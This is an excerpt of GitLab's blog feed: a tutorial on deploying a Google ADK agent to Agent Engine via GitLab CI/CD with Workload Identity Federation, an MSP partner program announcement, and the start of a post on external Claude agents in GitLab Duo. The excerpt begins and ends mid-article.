planned, built, and shipped, so security teams can govern at the speed of AI.</p><p>AI will accelerate development dramatically. The organizations that benefit most from AI will not be those with the smartest assistants alone, but those that build trust through strong governance.</p><blockquote><p>To learn how GitLab helps organizations <a href="https://about.gitlab.com/solutions/software-compliance/?utm_medium=blog&amp;utm_campaign=eg_global_x_x_security_en_" rel="">govern and ship AI-generated code</a> safely, <a href="https://about.gitlab.com/sales/?utm_medium=blog&amp;utm_campaign=eg_global_x_x_security_en_" rel="">talk to our team today</a></p></blockquote><h2 id="related-reading">Related reading</h2><ul><li><a href="https://about.gitlab.com/topics/devops/ai-enhanced-security/" rel="">Integrating AI with DevOps for enhanced security</a></li><li><a href="https://about.gitlab.com/blog/the-gitlab-ai-security-framework-for-security-leaders/" rel="">The GitLab AI Security Framework for security leaders</a></li><li><a href="https://about.gitlab.com/blog/improve-ai-security-in-gitlab-with-composite-identities/" rel="">Improve AI security in GitLab with composite identities</a></li></ul>]]></content>
        <author>
            <name>Omer Azaria</name>
            <uri>https://about.gitlab.com/blog/authors/omer-azaria/</uri>
        </author>
        <published>2026-02-27T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Secure and fast deployments to Google Agent Engine with GitLab]]></title>
        <id>https://about.gitlab.com/blog/secure-and-fast-deployments-to-google-agent-engine-with-gitlab/</id>
        <link href="https://about.gitlab.com/blog/secure-and-fast-deployments-to-google-agent-engine-with-gitlab/"/>
        <updated>2026-02-26T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>In this tutorial, you&#39;ll learn how to deploy an AI agent built with Google&#39;s Agent Development Kit (<a href="https://google.github.io/adk-docs/" rel="">ADK</a>) to <a href="https://cloud.google.com/vertex-ai/generative-ai/docs/agent-engine/overview" rel="">Agent Engine</a> using GitLab&#39;s native Google Cloud integration and CI/CD pipelines. We&#39;ll cover IAM configuration, pipeline setup, and testing your deployed agent.</p><h2 id="what-is-agent-engine-and-why-does-it-matter">What is Agent Engine and why does it matter?</h2><p>Agent Engine is Google Cloud&#39;s managed runtime specifically designed for AI agents. Think of it as the production home for your agents — where they live, run, and scale without you having to manage the underlying infrastructure. Agent Engine handles infrastructure, scaling, session management, and memory storage so you can focus on building your agent — not managing servers. It also integrates natively with Google Cloud&#39;s logging, monitoring, and IAM.</p><h2 id="why-use-gitlab-to-deploy-to-agent-engine">Why use GitLab to deploy to Agent Engine?</h2><p>AI agent deployment is typically difficult to configure correctly. Security considerations, CI/CD orchestration, and cloud permissions create friction that slows down development cycles.</p><p>GitLab streamlines this entire process while enhancing security:</p><ul><li><strong>Built-in security scanning</strong> — Every deployment is automatically scanned for vulnerabilities without additional configuration.</li><li><strong>Native Google Cloud integration</strong> — Workload Identity Federation eliminates the need for service account keys.</li><li><strong>Simplified CI/CD</strong> — GitLab&#39;s templates handle complex deployment logic.</li></ul><h2 id="prerequisites">Prerequisites</h2><p>Before you begin, ensure you have:</p><ul><li>A Google Cloud project with the following APIs enabled:
<ul><li>Cloud Storage API</li><li>Vertex AI API</li></ul></li><li>A GitLab project for your source code and CI/CD pipeline</li><li>A Google Cloud Storage bucket for staging deployments</li><li>Google Cloud IAM integration configured in GitLab (see Step 1)</li></ul><p>Here are the steps to follow.</p><h2 id="_1-configure-iam-integration">1. Configure IAM integration</h2><p>The foundation of secure deployment is proper IAM configuration between GitLab and Google Cloud using Workload Identity Federation.</p><p>In your GitLab project:</p><ol><li>Navigate to <strong>Settings &gt; Integrations</strong>.</li><li>Locate the <strong>Google Cloud IAM</strong> integration.</li><li>Provide the following information:
<ul><li><strong>Project ID</strong>: Your Google Cloud project ID</li><li><strong>Project Number</strong>: Found in your Google Cloud console</li><li><strong>Workload Identity Pool ID</strong>: A unique identifier for your identity pool</li><li><strong>Provider ID</strong>: A unique identifier for your identity provider</li></ul></li></ol><p>GitLab generates a script for you. Copy and run this script in Google Cloud Shell to establish the Workload Identity Federation between platforms.</p><p><strong>Important:</strong> Add these additional roles to your service principal for Agent Engine deployment:</p><ul><li><code className="">roles/aiplatform.user</code></li><li><code className="">roles/storage.objectAdmin</code></li></ul><p>You can add these roles using gcloud commands:</p><pre className="language-bash shiki shiki-themes github-light" code="GCP_PROJECT_ID=&quot;&lt;your-project-id&gt;&quot;
GCP_PROJECT_NUMBER=&quot;&lt;your-project-number&gt;&quot;
GCP_WORKLOAD_IDENTITY_POOL=&quot;&lt;your-pool-id&gt;&quot;

gcloud projects add-iam-policy-binding ${GCP_PROJECT_ID} \
  --member=&quot;principalSet://iam.googleapis.com/projects/${GCP_PROJECT_NUMBER}/locations/global/workloadIdentityPools/${GCP_WORKLOAD_IDENTITY_POOL}/attribute.developer_access/true&quot; \
  --role=&#39;roles/aiplatform.user&#39;

gcloud projects add-iam-policy-binding ${GCP_PROJECT_ID} \
  --member=&quot;principalSet://iam.googleapis.com/projects/${GCP_PROJECT_NUMBER}/locations/global/workloadIdentityPools/${GCP_WORKLOAD_IDENTITY_POOL}/attribute.developer_access/true&quot; \
  --role=&#39;roles/storage.objectAdmin&#39;
" language="bash" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#24292E">GCP_PROJECT_ID</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">&quot;&lt;your-project-id&gt;&quot;
</span></span><span class="line" line="2"><span style="--shiki-default:#24292E">GCP_PROJECT_NUMBER</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">&quot;&lt;your-project-number&gt;&quot;
</span></span><span class="line" line="3"><span style="--shiki-default:#24292E">GCP_WORKLOAD_IDENTITY_POOL</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">&quot;&lt;your-pool-id&gt;&quot;
</span></span><span class="line" line="4"><span emptyLinePlaceholder>
</span></span><span class="line" line="5"><span style="--shiki-default:#6F42C1">gcloud</span><span style="--shiki-default:#032F62"> projects</span><span style="--shiki-default:#032F62"> add-iam-policy-binding</span><span style="--shiki-default:#24292E"> ${GCP_PROJECT_ID} </span><span style="--shiki-default:#005CC5">\
</span></span><span class="line" line="6"><span style="--shiki-default:#005CC5">  --member=</span><span style="--shiki-default:#032F62">&quot;principalSet://iam.googleapis.com/projects/${</span><span style="--shiki-default:#24292E">GCP_PROJECT_NUMBER</span><span style="--shiki-default:#032F62">}/locations/global/workloadIdentityPools/${</span><span style="--shiki-default:#24292E">GCP_WORKLOAD_IDENTITY_POOL</span><span style="--shiki-default:#032F62">}/attribute.developer_access/true&quot;</span><span style="--shiki-default:#005CC5"> \
</span></span><span class="line" line="7"><span style="--shiki-default:#005CC5">  --role=</span><span style="--shiki-default:#032F62">&#39;roles/aiplatform.user&#39;
</span></span><span class="line" line="8"><span emptyLinePlaceholder>
</span></span><span class="line" line="9"><span style="--shiki-default:#6F42C1">gcloud</span><span style="--shiki-default:#032F62"> projects</span><span style="--shiki-default:#032F62"> add-iam-policy-binding</span><span style="--shiki-default:#24292E"> ${GCP_PROJECT_ID} </span><span style="--shiki-default:#005CC5">\
</span></span><span class="line" line="10"><span style="--shiki-default:#005CC5">  --member=</span><span style="--shiki-default:#032F62">&quot;principalSet://iam.googleapis.com/projects/${</span><span style="--shiki-default:#24292E">GCP_PROJECT_NUMBER</span><span style="--shiki-default:#032F62">}/locations/global/workloadIdentityPools/${</span><span style="--shiki-default:#24292E">GCP_WORKLOAD_IDENTITY_POOL</span><span style="--shiki-default:#032F62">}/attribute.developer_access/true&quot;</span><span style="--shiki-default:#005CC5"> \
</span></span><span class="line" line="11"><span style="--shiki-default:#005CC5">  --role=</span><span style="--shiki-default:#032F62">&#39;roles/storage.objectAdmin&#39;
</span></span></code></pre><h2 id="_2-create-the-cicd-pipeline">2. Create the CI/CD pipeline</h2><p>Now for the core of the deployment — the CI/CD pipeline. Create a <code className="">.gitlab-ci.yml</code> file in your project root:</p><pre className="language-yaml shiki shiki-themes github-light" code="stages:
  - test
  - deploy

cache:
  paths:
    - .cache/pip
  key: ${CI_COMMIT_REF_SLUG}

variables:
  GCP_PROJECT_ID: &quot;&lt;your-project-id&gt;&quot;
  GCP_REGION: &quot;us-central1&quot;
  STORAGE_BUCKET: &quot;&lt;your-staging-bucket&gt;&quot;
  AGENT_NAME: &quot;Canada City Advisor&quot;
  AGENT_ENTRY: &quot;canada_city_advisor&quot;

image: google/cloud-sdk:slim

# Security scanning templates
include:
  - template: Jobs/Dependency-Scanning.gitlab-ci.yml
  - template: Jobs/SAST.gitlab-ci.yml
  - template: Jobs/Secret-Detection.gitlab-ci.yml

deploy-agent:
  stage: deploy
  identity: google_cloud
  rules:
    - if: $CI_COMMIT_BRANCH == &quot;main&quot;
  before_script:
    - gcloud config set core/disable_usage_reporting true
    - gcloud config set component_manager/disable_update_check true
    - pip install -q --no-cache-dir --upgrade pip google-genai google-cloud-aiplatform -r requirements.txt --break-system-packages
  script:
    - gcloud config set project $GCP_PROJECT_ID
    - adk deploy agent_engine 
        --project=$GCP_PROJECT_ID 
        --region=$GCP_REGION 
        --staging_bucket=gs://$STORAGE_BUCKET 
        --display_name=&quot;$AGENT_NAME&quot; 
        $AGENT_ENTRY
" language="yaml" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#22863A">stages</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="2"><span style="--shiki-default:#24292E">  - </span><span style="--shiki-default:#032F62">test
</span></span><span class="line" line="3"><span style="--shiki-default:#24292E">  - </span><span style="--shiki-default:#032F62">deploy
</span></span><span class="line" line="4"><span emptyLinePlaceholder>
</span></span><span class="line" line="5"><span style="--shiki-default:#22863A">cache</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="6"><span style="--shiki-default:#22863A">  paths</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="7"><span style="--shiki-default:#24292E">    - </span><span style="--shiki-default:#032F62">.cache/pip
</span></span><span class="line" line="8"><span style="--shiki-default:#22863A">  key</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">${CI_COMMIT_REF_SLUG}
</span></span><span class="line" line="9"><span emptyLinePlaceholder>
</span></span><span class="line" line="10"><span style="--shiki-default:#22863A">variables</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="11"><span style="--shiki-default:#22863A">  GCP_PROJECT_ID</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">&quot;&lt;your-project-id&gt;&quot;
</span></span><span class="line" line="12"><span style="--shiki-default:#22863A">  GCP_REGION</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">&quot;us-central1&quot;
</span></span><span class="line" line="13"><span style="--shiki-default:#22863A">  STORAGE_BUCKET</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">&quot;&lt;your-staging-bucket&gt;&quot;
</span></span><span class="line" line="14"><span style="--shiki-default:#22863A">  AGENT_NAME</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">&quot;Canada City Advisor&quot;
</span></span><span class="line" line="15"><span style="--shiki-default:#22863A">  AGENT_ENTRY</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">&quot;canada_city_advisor&quot;
</span></span><span class="line" line="16"><span emptyLinePlaceholder>
</span></span><span class="line" line="17"><span style="--shiki-default:#22863A">image</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">google/cloud-sdk:slim
</span></span><span class="line" line="18"><span emptyLinePlaceholder>
</span></span><span class="line" line="19"><span style="--shiki-default:#6A737D"># Security scanning templates
</span></span><span class="line" line="20"><span style="--shiki-default:#22863A">include</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="21"><span style="--shiki-default:#24292E">  - </span><span style="--shiki-default:#22863A">template</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">Jobs/Dependency-Scanning.gitlab-ci.yml
</span></span><span class="line" line="22"><span style="--shiki-default:#24292E">  - </span><span style="--shiki-default:#22863A">template</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">Jobs/SAST.gitlab-ci.yml
</span></span><span class="line" line="23"><span style="--shiki-default:#24292E">  - </span><span style="--shiki-default:#22863A">template</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">Jobs/Secret-Detection.gitlab-ci.yml
</span></span><span class="line" line="24"><span emptyLinePlaceholder>
</span></span><span class="line" line="25"><span style="--shiki-default:#22863A">deploy-agent</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="26"><span style="--shiki-default:#22863A">  stage</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">deploy
</span></span><span class="line" line="27"><span style="--shiki-default:#22863A">  identity</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">google_cloud
</span></span><span class="line" line="28"><span style="--shiki-default:#22863A">  rules</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="29"><span style="--shiki-default:#24292E">    - </span><span style="--shiki-default:#22863A">if</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">$CI_COMMIT_BRANCH == &quot;main&quot;
</span></span><span class="line" line="30"><span style="--shiki-default:#22863A">  before_script</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="31"><span style="--shiki-default:#24292E">    - </span><span style="--shiki-default:#032F62">gcloud config set core/disable_usage_reporting true
</span></span><span class="line" line="32"><span style="--shiki-default:#24292E">    - </span><span style="--shiki-default:#032F62">gcloud config set component_manager/disable_update_check true
</span></span><span class="line" line="33"><span style="--shiki-default:#24292E">    - </span><span style="--shiki-default:#032F62">pip install -q --no-cache-dir --upgrade pip google-genai google-cloud-aiplatform -r requirements.txt --break-system-packages
</span></span><span class="line" line="34"><span style="--shiki-default:#22863A">  script</span><span style="--shiki-default:#24292E">:
</span></span><span class="line" line="35"><span style="--shiki-default:#24292E">    - </span><span style="--shiki-default:#032F62">gcloud config set project $GCP_PROJECT_ID
</span></span><span class="line" line="36"><span style="--shiki-default:#24292E">    - </span><span style="--shiki-default:#032F62">adk deploy agent_engine</span><span style="--shiki-default:#24292E"> 
</span></span><span class="line" line="37"><span style="--shiki-default:#032F62">        --project=$GCP_PROJECT_ID</span><span style="--shiki-default:#24292E"> 
</span></span><span class="line" line="38"><span style="--shiki-default:#032F62">        --region=$GCP_REGION</span><span style="--shiki-default:#24292E"> 
</span></span><span class="line" line="39"><span style="--shiki-default:#032F62">        --staging_bucket=gs://$STORAGE_BUCKET</span><span style="--shiki-default:#24292E"> 
</span></span><span class="line" line="40"><span style="--shiki-default:#032F62">        --display_name=&quot;$AGENT_NAME&quot;</span><span style="--shiki-default:#24292E"> 
</span></span><span class="line" line="41"><span style="--shiki-default:#032F62">        $AGENT_ENTRY
</span></span></code></pre><p>The pipeline consists of two stages:</p><p><strong>Test stage</strong> — GitLab&#39;s security scanners run automatically. The included templates provide dependency scanning, static application security testing (SAST), and secret detection without additional configuration.</p><p><strong>Deploy stage</strong> — Uses the ADK CLI to deploy your agent directly to Agent Engine. The staging bucket temporarily holds your application workload before Agent Engine picks it up for deployment.</p><h3 id="key-configuration-notes">Key configuration notes</h3><ul><li>The <code className="">identity: google_cloud</code> directive enables keyless authentication via Workload Identity Federation.</li><li>Security scanners are included as templates, meaning they run by default with no setup required.</li><li>The <code className="">adk deploy agent_engine</code> command handles all the complexity of packaging and deploying your agent.</li><li>Pipeline caching speeds up subsequent deployments by preserving pip dependencies.</li></ul><h2 id="_3-deploy-and-verify">3. Deploy and verify</h2><p>With your pipeline configured:</p><ol><li>Commit your agent code and <code className="">.gitlab-ci.yml</code> to GitLab.</li><li>Navigate to <strong>Build &gt; Pipelines</strong> to monitor execution.</li><li>Watch the test stage complete security scans.</li><li>Observe the deploy stage push your agent to Agent Engine.</li></ol><p>Once the pipeline succeeds, verify your deployment in the Google Cloud Console:</p><ol><li>Navigate to <strong>Vertex AI &gt; Agent Engine</strong>.</li><li>Locate your deployed agent.</li><li>Note the <strong>resource name</strong> — you&#39;ll need this for testing.</li></ol><h2 id="_4-test-your-deployed-agent">4. Test your deployed agent</h2><p>Test your agent using a curl command. You&#39;ll need three pieces of information:</p><ul><li><strong>Agent ID</strong>: From the Agent Engine console (the resource name&#39;s numeric identifier)</li><li><strong>Project ID</strong>: Your Google Cloud project</li><li><strong>Location</strong>: The region where you deployed (e.g., <code className="">us-central1</code>)</li></ul><pre className="language-bash shiki shiki-themes github-light" code="PROJECT_ID=&quot;&lt;your-project-id&gt;&quot;
LOCATION=&quot;us-central1&quot;
AGENT_ID=&quot;&lt;your-agent-id&gt;&quot;
TOKEN=$(gcloud auth print-access-token)

curl -X POST \
  -H &quot;Authorization: Bearer $TOKEN&quot; \
  -H &quot;Content-Type: application/json&quot; \
  &quot;https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines/${AGENT_ID}:streamQuery&quot; \
  -d &#39;{
    &quot;input&quot;: {
      &quot;message&quot;: &quot;I make $85,000 per year and I prefer cities with mild winters and a vibrant cultural scene. I also want to be near the coast if possible. What Canadian cities would you recommend?&quot;,
      &quot;user_id&quot;: &quot;demo-user&quot;
    }
  }&#39; | jq -r &#39;.content.parts[0].text&#39;
" language="bash" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#24292E">PROJECT_ID</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">&quot;&lt;your-project-id&gt;&quot;
</span></span><span class="line" line="2"><span style="--shiki-default:#24292E">LOCATION</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">&quot;us-central1&quot;
</span></span><span class="line" line="3"><span style="--shiki-default:#24292E">AGENT_ID</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">&quot;&lt;your-agent-id&gt;&quot;
</span></span><span class="line" line="4"><span style="--shiki-default:#24292E">TOKEN</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#24292E">$(</span><span style="--shiki-default:#6F42C1">gcloud</span><span style="--shiki-default:#032F62"> auth</span><span style="--shiki-default:#032F62"> print-access-token</span><span style="--shiki-default:#24292E">)
</span></span><span class="line" line="5"><span emptyLinePlaceholder>
</span></span><span class="line" line="6"><span style="--shiki-default:#6F42C1">curl</span><span style="--shiki-default:#005CC5"> -X</span><span style="--shiki-default:#032F62"> POST</span><span style="--shiki-default:#005CC5"> \
</span></span><span class="line" line="7"><span style="--shiki-default:#005CC5">  -H</span><span style="--shiki-default:#032F62"> &quot;Authorization: Bearer </span><span style="--shiki-default:#24292E">$TOKEN</span><span style="--shiki-default:#032F62">&quot;</span><span style="--shiki-default:#005CC5"> \
</span></span><span class="line" line="8"><span style="--shiki-default:#005CC5">  -H</span><span style="--shiki-default:#032F62"> &quot;Content-Type: application/json&quot;</span><span style="--shiki-default:#005CC5"> \
</span></span><span class="line" line="9"><span style="--shiki-default:#032F62">  &quot;https://${</span><span style="--shiki-default:#24292E">LOCATION</span><span style="--shiki-default:#032F62">}-aiplatform.googleapis.com/v1/projects/${</span><span style="--shiki-default:#24292E">PROJECT_ID</span><span style="--shiki-default:#032F62">}/locations/${</span><span style="--shiki-default:#24292E">LOCATION</span><span style="--shiki-default:#032F62">}/reasoningEngines/${</span><span style="--shiki-default:#24292E">AGENT_ID</span><span style="--shiki-default:#032F62">}:streamQuery&quot;</span><span style="--shiki-default:#005CC5"> \
</span></span><span class="line" line="10"><span style="--shiki-default:#005CC5">  -d</span><span style="--shiki-default:#032F62"> &#39;{
</span></span><span class="line" line="11"><span style="--shiki-default:#032F62">    &quot;input&quot;: {
</span></span><span class="line" line="12"><span style="--shiki-default:#032F62">      &quot;message&quot;: &quot;I make $85,000 per year and I prefer cities with mild winters and a vibrant cultural scene. I also want to be near the coast if possible. What Canadian cities would you recommend?&quot;,
</span></span><span class="line" line="13"><span style="--shiki-default:#032F62">      &quot;user_id&quot;: &quot;demo-user&quot;
</span></span><span class="line" line="14"><span style="--shiki-default:#032F62">    }
</span></span><span class="line" line="15"><span style="--shiki-default:#032F62">  }&#39;</span><span style="--shiki-default:#D73A49"> |</span><span style="--shiki-default:#6F42C1"> jq</span><span style="--shiki-default:#005CC5"> -r</span><span style="--shiki-default:#032F62"> &#39;.content.parts[0].text&#39;
</span></span></code></pre><p>If everything is configured correctly, your agent will respond with personalized city recommendations based on the budget and lifestyle preferences provided.</p><h2 id="security-benefits-of-this-approach">Security benefits of this approach</h2><p>This deployment pattern provides several security advantages:</p><ul><li><strong>No long-lived credentials</strong>: Workload Identity Federation eliminates service account keys entirely.</li><li><strong>Automated vulnerability scanning</strong>: Every deployment is scanned before reaching production.</li><li><strong>Complete audit trail</strong>: GitLab maintains full visibility of who deployed what and when.</li><li><strong>Principle of least privilege</strong>: Fine-grained IAM roles limit access to only what&#39;s needed.</li></ul><h2 id="summary">Summary</h2><p>Deploying AI agents to production doesn&#39;t have to be complex. By combining GitLab&#39;s DevSecOps platform with Google Cloud&#39;s Agent Engine, you get:</p><ul><li>A managed runtime that handles scaling and infrastructure</li><li>Built-in security scanning without additional tooling</li><li>Keyless authentication via native cloud integration</li><li>A streamlined deployment process that fits modern AI development workflows</li></ul><p>Watch the full demo:</p><figure className="video_container"> <iframe src="https://www.youtube.com/embed/sxVFa2Mk-x4?si=Oi3cUjhgd7FT2yEd" frameBorder="0" allowFullScreen="true" title="Deploy AI Agents to Agent Engine with GitLab"> </iframe> </figure><blockquote><p>Ready to try it yourself? Use this tutorial&#39;s <a href="https://gitlab.com/gitlab-partners-public/google-cloud/demos/agent-engine-demo" rel="">complete code example</a> to get started now. Not a GitLab customer yet? Explore the DevSecOps platform with <a href="https://about.gitlab.com/free-trial/" rel="">a free trial</a>.</p></blockquote><style>html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}</style>]]></content>
        <author>
            <name>Regnard Raquedan</name>
            <uri>https://about.gitlab.com/blog/authors/regnard-raquedan/</uri>
        </author>
        <published>2026-02-26T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Introducing the GitLab Managed Service Provider (MSP) Partner Program]]></title>
        <id>https://about.gitlab.com/blog/introducing-the-gitlab-managed-service-provider-msp-partner-program/</id>
        <link href="https://about.gitlab.com/blog/introducing-the-gitlab-managed-service-provider-msp-partner-program/"/>
        <updated>2026-02-26T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p><em>This blog is written for managed service providers (MSPs) looking to build a GitLab practice. If you’re a developer or engineering leader, this is the program that can empower the partners who help teams like yours scale and move faster.</em></p><p>Many organizations know they need a modern DevSecOps platform. What they often don&#39;t have is the bandwidth to deploy, manage, and continuously optimize one while shipping software at the pace the business demands. That&#39;s a real opportunity for MSPs, and now GitLab has a defined program to support them.</p><p>We&#39;re excited to introduce the <strong>GitLab MSP Partner Program</strong>, a new global program that enables qualified MSPs to deliver GitLab as a fully managed service to their customers.</p><h2 id="why-this-matters-for-partners-and-customers">Why this matters for partners and customers</h2><p>For the first time, GitLab has a formally defined, globally available program built specifically for MSPs. This means clear requirements, structured enablement, dedicated support, and real financial benefits, so partners can confidently invest in building a GitLab managed services practice.</p><p>The timing is right. Organizations are accelerating their DevSecOps journeys, but many are navigating complex migrations, sprawling toolchains, and growing security requirements on top of their core work of building and shipping software.</p><p>GitLab MSP partners handle the operational side of running the platform, including deployment, migration, administration, and ongoing support, so development teams can stay focused on what they do best.</p><h2 id="what-msp-partners-get">What MSP partners get</h2><p><strong>Financial benefits</strong>: MSP partners earn GitLab partner margins plus an additional MSP premium on all transactions, new business, and renewals. You also retain 100% of the service fees you charge customers for deployment, migration, training, enablement, and strategic consulting. That&#39;s multiple recurring revenue streams built around a single platform.</p><p><strong>Enablement and education</strong>: Partners have access to quarterly technical bootcamps covering version updates, new features, best practices, ongoing roadmap updates, and peer sharing. Recommended cloud certifications (AWS Solutions Architect Associate, GCP Associate Cloud Engineer) round out the technical foundation.</p><p><strong>Go-to-market support</strong>: MSPs receive a GitLab Certified MSP Partner badge, co-brandable assets, eligibility for joint customer case studies, a Partner Locator listing, and access to Marketing Development Funds (MDF) for qualified demand generation activities.</p><h2 id="what-customers-can-expect">What customers can expect</h2><p>Customers working with a GitLab MSP partner get a structured, managed DevSecOps experience, documented and repeatable implementation methodologies, regular business reviews, and support with clearly defined response and escalation paths.</p><p>The result: Development teams can stay focused on building great software while their MSP partner focuses on running and optimizing the platform.</p><h2 id="a-new-opportunity-around-ai">A new opportunity around AI</h2><p>Organizations are increasingly looking to safely introduce AI into their software development workflows, and even experienced teams can benefit from a structured approach to rolling it out at scale. GitLab MSP partners are well-positioned to guide customers through GitLab Duo Agent Platform as part of a broader managed services offering.</p><p>By combining GitLab&#39;s DevSecOps platform with MSP-delivered operational expertise, customers can experiment with AI-assisted workflows in a governed environment, meet data residency and compliance requirements, and scale AI adoption across teams without overburdening internal resources.</p><h2 id="is-this-right-for-your-business">Is this right for your business?</h2><p>The GitLab MSP Partner Program is a strong fit if you:</p><ul><li>Already deliver managed services in cloud, infrastructure, or application operations</li><li>Want to add high-value DevSecOps to your portfolio</li><li>Have or want to build technical talent interested in modern development platforms</li><li>Prefer long-term customer relationships over one-time transactions</li></ul><p>If you&#39;re already a GitLab Select and Professional Services Partner, the MSP program gives you a structured way to turn your existing expertise into a repeatable managed offering.</p><h2 id="getting-started">Getting started</h2><p>The program launches with the <strong>Certified MSP Partner</strong> designation. There&#39;s no minimum ARR or customer count required to join. Here&#39;s how the path looks:</p><ol><li><strong>Confirm fit</strong> - Verify you meet the business and technical requirements outlined in the <a href="https://handbook.gitlab.com/handbook/resellers/channel-program-guide/#the-gitlab-managed-service-provider-msp-partner-program" rel="">handbook page</a>.</li><li><strong>Apply via the GitLab Partner Portal</strong> - Submit your application with business and technical documentation.</li><li><strong>Complete 90-day onboarding</strong> - A structured onboarding journey covers contracts, technical enablement, sales training, and your first customer engagement.</li><li><strong>Launch your managed offering</strong> - Package your services, set your SLAs, and begin engaging customers.</li></ol><p>Completed applications are reviewed within approximately three business days.</p><blockquote><p>Interested in building a GitLab managed services practice? New partners can apply <a href="https://about.gitlab.com/partners/" rel="">to become a GitLab Partner</a>. Existing partners can reach out to your GitLab representative to learn more about the program and tell us about the solutions you&#39;re currently offering customers through your MSP practice!</p></blockquote>]]></content>
        <author>
            <name>Karishma Kumar</name>
            <uri>https://about.gitlab.com/blog/authors/karishma-kumar/</uri>
        </author>
        <published>2026-02-26T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab Duo Agent Platform with Claude accelerates development]]></title>
        <id>https://about.gitlab.com/blog/gitlab-duo-agent-platform-with-claude-accelerates-development/</id>
        <link href="https://about.gitlab.com/blog/gitlab-duo-agent-platform-with-claude-accelerates-development/"/>
        <updated>2026-02-26T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Modern software development teams face a critical challenge: How do you maintain velocity while ensuring code quality, security, and consistency across complex projects?</p><p>While AI coding assistants have accelerated individual developer productivity, they often operate in isolation from the broader development workflow. This disconnect forces developers to context-switch between tools, manually translate AI suggestions into actionable code, and spend valuable time on repetitive tasks that could be automated.</p><p><a href="https://about.gitlab.com/gitlab-duo-agent-platform/" rel="">GitLab Duo Agent Platform</a> solves this problem by enabling seamless integration with external AI models like Anthropic&#39;s Claude, OpenAI&#39;s Codex, and others.</p><p>By creating external agents within GitLab Duo Agent Platform, organizations can customize AI capabilities for their specific needs, workflows, and standards while keeping everything within the familiar GitLab environment. These agents understand your project context, follow your coding standards, and can autonomously complete complex, multi-step tasks — from initial idea to production-ready code.</p><p>Watch this video demonstration and follow along below:</p><figure className="video_container">
  <iframe src="https://www.youtube.com/embed/BPmoVCeyWJA?si=50ktjKxPUNpicXve" frameBorder="0" allowFullScreen="true"> </iframe></figure><h2 id="real-world-use-cases">Real-world use cases</h2><p>Here are three powerful use cases that illustrate how external agents transform the development lifecycle:</p><h3 id="_1-from-idea-to-code">1. From idea to code</h3><p>Starting with nothing more than an empty project and a detailed issue description, the external agent (in this case, Claude) takes complete ownership of application development. In this use case, the issue title is the desired application and the issue description lists its specifications.</p><p>The agent reads the context, e.g. project information, related assets, etc., and analyzes the requirements detailed in the issue, generates a full-stack Java web application with appropriate UI components, implements the business logic with specified interest rates, and creates a merge request with all the code ready for review.</p><p>The generated application includes backend Java classes, frontend HTML/CSS/JavaScript files, and build configuration — all following the specifications in the original issue. Teams can then test the application locally, verify functionality, and continue iterating with the agent through natural conversation.</p><p><img alt="Issue detailing requirements of application" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058387/irzlmm0gukanjt7ryq9b.png" title="Issue detailing requirements of application" /></p><p><img alt="Prompt for external agent to create a merge request with application implementation" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058392/ajr6nquefob7lefdcxng.png" title="Prompt for external agent to create a merge request with application implementation" /></p><p><img alt="External agent implementation complete" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058387/gbwwawybg9u4jzibuurw.png" title="External agent implementation complete" /></p><p><img alt="Newly created application by external agent" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058387/rijlwchqo1zytp842bld.png" title="Newly created application by external agent" /></p><p><img alt="Building and running application locally" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058386/aycpfxa0mdbfbxf2ydu3.png" title="Building and running application locally" /></p><p><img alt="Testing application locally" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058388/rxlvwmzlx8vor92qhotl.png" title="Testing application locally" /></p><h3 id="_2-code-review">2. Code review</h3><p>Quality 